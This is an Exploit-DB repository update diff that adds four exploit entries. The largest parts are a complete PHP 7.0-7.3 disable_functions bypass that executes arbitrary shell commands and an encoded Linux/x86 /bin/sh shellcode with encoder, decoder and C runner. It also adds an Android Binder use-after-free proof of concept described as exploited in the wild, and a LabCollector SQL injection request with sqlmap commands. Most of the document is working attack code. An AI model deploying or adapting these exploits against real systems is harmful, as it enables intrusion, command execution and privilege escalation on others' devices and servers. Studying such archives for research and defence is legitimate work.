DB: 2019-10-05

4 changes to exploits/shellcodes

Android - Binder Driver Use-After-Free

PHP 7.1 < 7.3 - disable_functions Bypass
PHP 7.1 < 7.3 - 'json serializer' Disable Functions Bypass
LabCollector 5.423 - SQL Injection
PHP 7.0 < 7.3 (Unix) - 'gc' Disable Functions Bypass

Linux/x86 - NOT + XOR-N + Random Encoded /bin/sh Shellcode (132 bytes)

exploits/android/local/47463.txt

@@ -0,0 +1,80 @@
+The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others):
+
+There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c. 
+
+As described in the upstream commit: 
+“binder_poll() passes the thread->wait waitqueue that
+can be slept on for work. When a thread that uses
+epoll explicitly exits using BINDER_THREAD_EXIT,
+the waitqueue is freed, but it is never removed
+from the corresponding epoll data structure. When
+the process subsequently exits, the epoll cleanup
+code tries to access the waitlist, which results in
+a use-after-free.”
+
+The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/20171213000517.GB62138@gmail.com/):
+        #include <fcntl.h>
+        #include <sys/epoll.h>
+        #include <sys/ioctl.h>
+        #include <unistd.h>
+
+        #define BINDER_THREAD_EXIT 0x40046208ul
+
+        int main()
+        {
+                int fd, epfd;
+                struct epoll_event event = { .events = EPOLLIN };
+
+                fd = open("/dev/binder0", O_RDONLY);
+                epfd = epoll_create(1000);
+                epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+                ioctl(fd, BINDER_THREAD_EXIT, NULL);
+        }
+
+This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review. 
+
+Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated):
+1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/)
+2) Huawei P20
+3) Xiaomi Redmi 5A
+4) Xiaomi Redmi Note 5
+5) Xiaomi A1
+6) Oppo A3
+7) Moto Z3
+8) Oreo LG phones (run same kernel according to website)
+9) Samsung S7, S8, S9 
+
+
+*We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.*
+
+
+Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached.
+
+
+I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to:
+ * It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox.
+ * The bug was allegedly being used or sold by the NSO Group. 
+ * It works on Pixel 1 and 2, but not Pixel 3 and 3a. 
+ * It was patched in the Linux kernel >= 4.14 without a CVE. 
+ * CONFIG_DEBUG_LIST breaks the primitive.
+ * CONFIG_ARM64_UAO hinders exploitation.
+ * The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component.
+ * The exploit requires little or no per-device customization.
+ * A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue.
+
+Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time. 
+
+We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload.
+
+The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox. 
+
+I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys).
+
+
+Vendor statement from Android:
+
+"This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update."
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47463.zip

exploits/php/webapps/47460.txt

@@ -0,0 +1,60 @@
+# Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection
+# Date: 09/09/2019
+# Software Links/Project: https://www.labcollector.com/clientarea/downloads.php
+# Version: LabCollector (Laboratory Information System) 5.423
+# Exploit Author: Carlos Avila
+# Category: webapps
+# Tested on: Debian 9 / Win10
+# Contact: http://twitter.com/badboy_nt
+
+1. Description
+  
+LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation. 
+
+This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs.
+
+It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below:
+
+http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login]
+http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name)
+
+
+
+2. Proof of Concept
+
+
+----------------------------------------------------------------------------------------------------------------------------------
+Post Request:
+
+POST /labcollector/html/login.php HTTP/1.1
+Host: 192.168.0.102
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 113
+DNT: 1
+Connection: close
+Referer: http://192.168.0.102/labcollector/html/login.php
+Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7
+Upgrade-Insecure-Requests: 1
+
+login=test&pass=hola&action=login&Submit=Sign+In
+
+----------------------------------------------------------------------------------------------------------------------------------
+
+All tests have been performed in a controlled and local environment.
+
+sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs
+
+
+
+
+sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f
+
+
+
+3. Solution:
+
+Application inputs must be validated correctly throughout the development of the project.

exploits/php/webapps/47462.php

@@ -0,0 +1,221 @@
+<?php
+
+# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
+#
+# Bug: https://bugs.php.net/bug.php?id=72530
+#
+# This exploit should work on all PHP 7.0-7.3 versions
+# released as of 04/10/2019, specifically:
+# 
+# PHP 7.0 - 7.0.33
+# PHP 7.1 - 7.1.31
+# PHP 7.2 - 7.2.23
+# PHP 7.3 - 7.3.10
+#
+# Author: https://github.com/mm0r1
+
+pwn("uname -a");
+
+function pwn($cmd) {
+    global $abc, $helper;
+
+    function str2ptr(&$str, $p = 0, $s = 8) {
+        $address = 0;
+        for($j = $s-1; $j >= 0; $j--) {
+            $address <<= 8;
+            $address |= ord($str[$p+$j]);
+        }
+        return $address;
+    }
+
+    function ptr2str($ptr, $m = 8) {
+        $out = "";
+        for ($i=0; $i < $m; $i++) {
+            $out .= chr($ptr & 0xff);
+            $ptr >>= 8;
+        }
+        return $out;
+    }
+
+    function write(&$str, $p, $v, $n = 8) {
+        $i = 0;
+        for($i = 0; $i < $n; $i++) {
+            $str[$p + $i] = chr($v & 0xff);
+            $v >>= 8;
+        }
+    }
+
+    function leak($addr, $p = 0, $s = 8) {
+        global $abc, $helper;
+        write($abc, 0x68, $addr + $p - 0x10);
+        $leak = strlen($helper->a);
+        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
+        return $leak;
+    }
+
+    function parse_elf($base) {
+        $e_type = leak($base, 0x10, 2);
+
+        $e_phoff = leak($base, 0x20);
+        $e_phentsize = leak($base, 0x36, 2);
+        $e_phnum = leak($base, 0x38, 2);
+
+        for($i = 0; $i < $e_phnum; $i++) {
+            $header = $base + $e_phoff + $i * $e_phentsize;
+            $p_type  = leak($header, 0, 4);
+            $p_flags = leak($header, 4, 4);
+            $p_vaddr = leak($header, 0x10);
+            $p_memsz = leak($header, 0x28);
+
+            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
+                # handle pie
+                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
+                $data_size = $p_memsz;
+            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
+                $text_size = $p_memsz;
+            }
+        }
+
+        if(!$data_addr || !$text_size || !$data_size)
+            return false;
+
+        return [$data_addr, $text_size, $data_size];
+    }
+
+    function get_basic_funcs($base, $elf) {
+        list($data_addr, $text_size, $data_size) = $elf;
+        for($i = 0; $i < $data_size / 8; $i++) {
+            $leak = leak($data_addr, $i * 8);
+            if($leak - $base > 0 && $leak - $base < $text_size) {
+                $deref = leak($leak);
+                # 'constant' constant check
+                if($deref != 0x746e6174736e6f63)
+                    continue;
+            } else continue;
+
+            $leak = leak($data_addr, ($i + 4) * 8);
+            if($leak - $base > 0 && $leak - $base < $text_size) {
+                $deref = leak($leak);
+                # 'bin2hex' constant check
+                if($deref != 0x786568326e6962)
+                    continue;
+            } else continue;
+
+            return $data_addr + $i * 8;
+        }
+    }
+
+    function get_binary_base($binary_leak) {
+        $base = 0;
+        $start = $binary_leak & 0xfffffffffffff000;
+        for($i = 0; $i < 0x1000; $i++) {
+            $addr = $start - 0x1000 * $i;
+            $leak = leak($addr, 0, 7);
+            if($leak == 0x10102464c457f) { # ELF header
+                return $addr;
+            }
+        }
+    }
+
+    function get_system($basic_funcs) {
+        $addr = $basic_funcs;
+        do {
+            $f_entry = leak($addr);
+            $f_name = leak($f_entry, 0, 6);
+
+            if($f_name == 0x6d6574737973) { # system
+                return leak($addr + 8);
+            }
+            $addr += 0x20;
+        } while($f_entry != 0);
+        return false;
+    }
+
+    class ryat {
+        var $ryat;
+        var $chtg;
+        
+        function __destruct()
+        {
+            $this->chtg = $this->ryat;
+            $this->ryat = 1;
+        }
+    }
+
+    class Helper {
+        public $a, $b, $c, $d;
+    }
+
+    if(stristr(PHP_OS, 'WIN')) {
+        die('This PoC is for *nix systems only.');
+    }
+
+    $n_alloc = 10; # increase this value if you get segfaults
+
+    $contiguous = [];
+    for($i = 0; $i < $n_alloc; $i++)
+        $contiguous[] = str_repeat('A', 79);
+
+    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
+    $out = unserialize($poc);
+    gc_collect_cycles();
+
+    $v = [];
+    $v[0] = ptr2str(0, 79);
+    unset($v);
+    $abc = $out[2][0];
+
+    $helper = new Helper;
+    $helper->b = function ($x) { };
+
+    if(strlen($abc) == 79) {
+        die("UAF failed");
+    }
+
+    # leaks
+    $closure_handlers = str2ptr($abc, 0);
+    $php_heap = str2ptr($abc, 0x58);
+    $abc_addr = $php_heap - 0xc8;
+
+    # fake value
+    write($abc, 0x60, 2);
+    write($abc, 0x70, 6);
+
+    # fake reference
+    write($abc, 0x10, $abc_addr + 0x60);
+    write($abc, 0x18, 0xa);
+
+    $closure_obj = str2ptr($abc, 0x20);
+
+    $binary_leak = leak($closure_handlers, 8);
+    if(!($base = get_binary_base($binary_leak))) {
+        die("Couldn't determine binary base address");
+    }
+
+    if(!($elf = parse_elf($base))) {
+        die("Couldn't parse ELF header");
+    }
+
+    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
+        die("Couldn't get basic_functions address");
+    }
+
+    if(!($zif_system = get_system($basic_funcs))) {
+        die("Couldn't get zif_system address");
+    }
+
+    # fake closure object
+    $fake_obj_offset = 0xd0;
+    for($i = 0; $i < 0x110; $i += 8) {
+        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
+    }
+
+    # pwn
+    write($abc, 0x20, $abc_addr + $fake_obj_offset);
+    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
+    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
+
+    ($helper->b)($cmd);
+
+    exit();
+}

files_exploits.csv

@@ -10698,6 +10698,7 @@ id,file,description,date,author,type,platform,port
 47429,exploits/windows/local/47429.py,"Mobatek MobaXterm 12.1 - Buffer Overflow (SEH)",2019-09-27,"Xavi Beltran",local,windows,
 47444,exploits/windows/local/47444.py,"DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)",2019-10-01,"Xavi Beltran",local,windows,
 47454,exploits/windows/local/47454.md,"Counter-Strike Global Offensive 1.37.1.1 - 'vphysics.dll' Denial of Service (PoC)",2019-09-18,bi7s,local,windows,
+47463,exploits/android/local/47463.txt,"Android - Binder Driver Use-After-Free",2019-10-04,"Google Security Research",local,android,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -41788,9 +41789,11 @@ id,file,description,date,author,type,platform,port
 47438,exploits/php/webapps/47438.txt,"phpIPAM 1.4 - SQL Injection",2019-09-30,"Kevin Kirsche",webapps,php,80
 47440,exploits/python/webapps/47440.txt,"thesystem 1.0 - Cross-Site Scripting",2019-09-30,"Anıl Baran Yelken",webapps,python,
 47441,exploits/python/webapps/47441.txt,"TheSystem 1.0 - Command Injection",2019-09-30,"Sadik Cetin",webapps,python,
-47446,exploits/multiple/webapps/47446.php,"PHP 7.1 < 7.3 - disable_functions Bypass",2019-09-28,mm0r1,webapps,multiple,
+47446,exploits/multiple/webapps/47446.php,"PHP 7.1 < 7.3 - 'json serializer' Disable Functions Bypass",2019-09-28,mm0r1,webapps,multiple,
 47447,exploits/php/webapps/47447.py,"vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution",2019-09-23,anonymous,webapps,php,
 47448,exploits/multiple/webapps/47448.py,"DotNetNuke < 9.4.0 - Cross-Site Scripting",2019-10-01,MaYaSeVeN,webapps,multiple,80
 47455,exploits/php/webapps/47455.php,"Detrix EDMS 1.2.3.1505 - SQL Injection",2019-10-02,"Burov Konstantin",webapps,php,80
 47457,exploits/linux/webapps/47457.py,"mintinstall 7.9.9 - Code Execution",2019-10-03,"İbrahim Hakan Şeker",webapps,linux,
 47459,exploits/multiple/webapps/47459.py,"AnchorCMS < 0.12.3a - Information Disclosure",2019-10-03,"Tijme Gommers",webapps,multiple,
+47460,exploits/php/webapps/47460.txt,"LabCollector 5.423 - SQL Injection",2019-10-04,"Carlos Avila",webapps,php,
+47462,exploits/php/webapps/47462.php,"PHP 7.0 < 7.3 (Unix) - 'gc' Disable Functions Bypass",2019-10-03,mm0r1,webapps,php,

files_shellcodes.csv

@@ -1002,3 +1002,4 @@ id,file,description,date,author,type,platform
 47296,shellcodes/linux/47296.c,"Linux/MIPS64 - Reverse (localhost:4444/TCP) Shell Shellcode (157 bytes)",2019-08-20,antonio,shellcode,linux
 47352,shellcodes/linux_x86/47352.c,"Linux/x86 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Byte Free Shellcode (107 Bytes)",2019-09-05,guly,shellcode,linux_x86
 47396,shellcodes/linux_x86/47396.c,"Linux/x86 - Bind TCP (port 43690) Null-Free Shellcode (53 Bytes)",2019-09-17,"Daniel Ortiz",shellcode,linux_x86
+47461,shellcodes/linux_x86/47461.c,"Linux/x86 - NOT + XOR-N + Random Encoded /bin/sh Shellcode (132 bytes)",2019-10-04,bolonobolo,shellcode,linux_x86

shellcodes/linux_x86/47461.c

@@ -0,0 +1,191 @@
+# Date: 4th October 2019
+# Shellcode Author: @bolonobolo - https://bolonobolo.github.io
+# Tested on: Linux x86
+
+######################## execve.asm ###############################
+
+global _start			
+
+section .text
+_start:
+	
+	
+	; put NULL bytes in the stack
+	xor eax, eax
+	push eax
+	
+	//bin/sh
+	push 0x68732f6e
+	push 0x69622f2f
+	mov ebx, esp
+	
+	; push NULL in the EDX position
+	push eax
+	mov edx, esp
+
+	; push in the stack and then move it in ECX
+	push ebx
+	mov ecx, esp
+
+	; call the execve syscall
+	mov al, 11
+	int 0x80
+###############################################################
+
+compile the execve-stack
+$ nasm -f elf32 execve.asm
+$ ld -N -o sh execve.o
+$ echo;objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
+-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
+/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
+
+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
+
+########################## encoder_mixer.py ####################
+
+#!/usr/bin/python
+
+# Python Encoder (XOR + NOT + Random)
+import random
+green = lambda text: '\033[0;32m' + text + '\033[0m'
+
+shellcode =
+("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
+encoded = ""
+
+# The end char is 0xaa
+end = "\\xaa"
+
+print 'Encoded shellcode ...'
+
+for x in bytearray(shellcode) :
+
+        if x < 128:
+                # XOR Encoding with 0xDD
+                x = x^0xDD
+                # placeholder for XOR is 0xbb
+                encoded += '\\xbb'
+                encoded += '\\x'
+                encoded += '%02x' % x
+        else:
+		# NOT encoding
+                x = ~x
+		# placeholder for NOT is 0xcc
+                encoded += '\\xcc'
+                encoded += '\\x'
+                encoded += '%02x' % (x & 0xff)
+
+	 # 0xaa is 170 in dec and the others placeholders are > of 170
+        encoded += '\\x%02x' % random.randint(1,169)
+
+print green("Shellcode Len: %d" % len(bytearray(shellcode)))
+print green("Encoded Shellcode Len: %d" % len(bytearray(encoded)))
+encoded = encoded + end
+print encoded
+nasm = str(encoded).replace("\\x", ",0x")
+nasm = nasm[1:]
+# end string char is 0xaa
+print green("NASM version:")
+# end = end.replace("\\x", ",0x")
+print nasm
+
+###################################################################
+
+root@root:$ ./encoder_mixer.py
+Encoded shellcode ...
+Shellcode Len: 25
+Encoded Shellcode Len: 300
+\xbb\xec\x26\xcc\x3f\x4a\xbb\x8d\x3d\xbb\xb5\x44\xbb\xb3\x5b\xbb\xf2\x65\xbb\xae\x09\xbb\xb5\x2a\xbb\xb5\x2b\xbb\xf2\x1a\xbb\xf2\x4d\xbb\xbf\x9a\xbb\xb4\x61\xcc\x76\x56\xcc\x1c\x59\xbb\x8d\x56\xcc\x76\x6c\xcc\x1d\x94\xbb\x8e\x02\xcc\x76\xa5\xcc\x1e\x6d\xcc\x4f\xa3\xbb\xd6\x22\xcc\x32\x18\xcc\x7f\x7b\xaa
+NASM version:
+0xbb,0xec,0x26,0xcc,0x3f,0x4a,0xbb,0x8d,0x3d,0xbb,0xb5,0x44,0xbb,0xb3,0x5b,0xbb,0xf2,0x65,0xbb,0xae,0x09,0xbb,0xb5,0x2a,0xbb,0xb5,0x2b,0xbb,0xf2,0x1a,0xbb,0xf2,0x4d,0xbb,0xbf,0x9a,0xbb,0xb4,0x61,0xcc,0x76,0x56,0xcc,0x1c,0x59,0xbb,0x8d,0x56,0xcc,0x76,0x6c,0xcc,0x1d,0x94,0xbb,0x8e,0x02,0xcc,0x76,0xa5,0xcc,0x1e,0x6d,0xcc,0x4f,0xa3,0xbb,0xd6,0x22,0xcc,0x32,0x18,0xcc,0x7f,0x7b,0xaa
+
+#################### decoder_mixer.asm ############################
+
+global _start			
+
+section .text
+_start:
+
+
+	jmp short call_decoder
+	
+	
+decoder:
+        ; the sequence of the chars in shellcode is:
+	; placehlder,obfuscated shellcode char,random char
+	pop esi
+        lea edi, [esi]
+        xor eax, eax
+        xor ebx, ebx
+
+switch:
+
+        mov bl, byte [esi + eax]
+        cmp bl, 0xaa
+        jz shellcode
+        cmp bl, 0xbb
+        jz xordecode
+        jmp notdecode
+
+xordecode:
+
+        mov bl, byte [esi + eax + 1]
+        mov byte [edi], bl
+        xor byte [edi], 0xDD
+        inc edi
+        add al, 3
+        jmp short switch
+
+notdecode:
+
+        mov bl, byte [esi + eax + 1]
+        mov byte [edi], bl
+        not byte [edi]
+        inc edi
+        add al, 3
+        jmp short switch
+
+call_decoder:
+	
+	call decoder
+	shellcode: db
+0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
+
+############################### shellcode ############################
+
+$ nasm -f elf32 decoder_mixer.asm
+$ ld -o decoder decoder_mixer.o
+$ objdump -d ./decoder_mixer|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
+-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
+/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
+
+"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa"
+
+## Put the hex code in a C script
+
+root@root:# cat shellcode.c
+#include<stdio.h>
+#include<string.h>
+
+unsigned char code[] = \
+"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa";
+
+void main()
+{
+
+	printf("Shellcode Length:  %d\n", strlen(code));
+
+	int (*ret)() = (int(*)())code;
+
+	ret();
+
+}
+
+
+
+root@root# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
+root@root# ./shellcode
+Shellcode Length:  132
+# whoami
+root
+# exit